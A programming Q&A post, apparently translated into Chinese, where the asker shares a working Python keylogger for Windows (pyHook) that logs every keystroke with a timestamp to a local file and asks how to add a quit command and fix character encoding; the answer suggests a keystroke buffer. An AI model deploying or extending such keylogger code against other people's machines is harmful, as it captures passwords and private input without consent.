在Python中创建快捷键命令
我正在根据网上找到的一个脚本写一个简单的键盘记录器。不过,我想写一个键盘命令,让这个记录器程序在输入这个命令时关闭。我该怎么做呢?(我知道这个程序一点安全性都没有,但这对我来说不是问题)
比如说,按下 Ctrl + 'exit' 就可以关闭程序。
另外,它有时候在生成的 .log 文件中不能正确打印某些字符,这可能是什么原因呢?(我觉得字符编码类型可能是造成这个问题的原因)
#Key Logger
#By: K.B. Carte
#Version 1.0
################
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
顺便说一下,这个是在 Windows 7 上运行的。
1 个回答
0
如果你想通过某个命令,比如说“quit”,让它关闭……你需要创建一个缓冲区……如果你把所有的记录都放在这个缓冲区里,你就可以很方便地做到
buff += newkeypress
if "quit" in buff[-4:]:
logfile.close()
sys.exit(0)
或者你可以用列表来做一些像添加/删除的操作……或者用其他类型的循环缓冲区
对于一些奇怪的字符,你可能会想把整个内容以十六进制的形式打印出来……或者忽略那些小于ASCII 0的事件(比如\b和其他奇怪的字符)
或者……你可以制作一个ASCII表(字典),记录每个键的匹配情况,比如如果你得到\b就记录'',如果得到'0'就记录'0'